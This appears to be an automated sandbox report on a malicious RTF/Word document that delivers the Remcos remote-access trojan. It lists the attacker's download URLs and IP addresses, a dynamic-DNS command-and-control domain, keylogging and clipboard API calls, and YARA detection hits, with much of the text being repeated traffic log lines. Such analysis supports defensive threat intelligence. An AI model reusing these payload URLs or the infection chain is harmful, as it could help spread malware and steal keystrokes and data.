              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80

              Networking

              barindex
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: 2024remcmon.duckdns.org
              Uses dynamic DNS services
              Source: unknownDNS query: name: 2024remcmon.duckdns.org
              Source: createactiveimagesbeautygirlf.vBS.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
              Source: createactiveimagesbeautygirlf.vBS.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
              Source: createactiveimagesbeautygirlfrnd[1].gif.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
              Source: createactiveimagesbeautygirlfrnd[1].gif.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
              Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/KBV.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 192.210.214.9 192.210.214.9
              Source: Joe Sandbox ViewIP Address: 198.46.176.133 198.46.176.133
              Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: global trafficHTTP traffic detected: GET /xampp/glo/createactiveimagesbeautygirlfrnd.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,8_2_0041B380
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1618A385-B6B3-4616-9154-9C934CABE56D}.tmpJump to behavior
              Source: global trafficHTTP traffic detected: GET /xampp/glo/createactiveimagesbeautygirlfrnd.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/KBV.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: global trafficDNS traffic detected: DNS query: 2024remcmon.duckdns.org
              Source: global trafficDNS traffic detected: DNS query: geoplugin.net
              Source: powershell.exe, 00000006.00000002.361441806.0000000009191000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154
              Source: powershell.exe, 00000006.00000002.361441806.0000000009191000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/xampp/glo/KBV.txt
              Source: EQNEDT32.EXE, 00000002.00000002.346083538.000000000030F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIF
              Source: EQNEDT32.EXE, 00000002.00000002.346083538.000000000030F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFj
              Source: powershell.exe, 00000006.00000002.357913757.000000000274B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133
              Source: powershell.exe, 00000006.00000002.357913757.000000000274B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
              Source: RegAsm.exe, RegAsm.exe, 00000008.00000002.870693888.0000000000546000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.870693888.0000000000519000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
              Source: powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
              Source: powershell.exe, 00000006.00000002.357756845.000000000051C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microsoft.c
              Source: powershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: powershell.exe, 00000006.00000002.357913757.0000000002611000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: powershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: powershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Contains functionality to register a low level keyboard hook
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,000000008_2_0040A2B8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,8_2_0040B70E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,8_2_004168C1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,8_2_0040B70E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,8_2_0040A3E0

              E-Banking Fraud

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.870693888.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000519000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3308, type: MEMORYSTR

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: girlfrnd.doc, type: SAMPLEMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
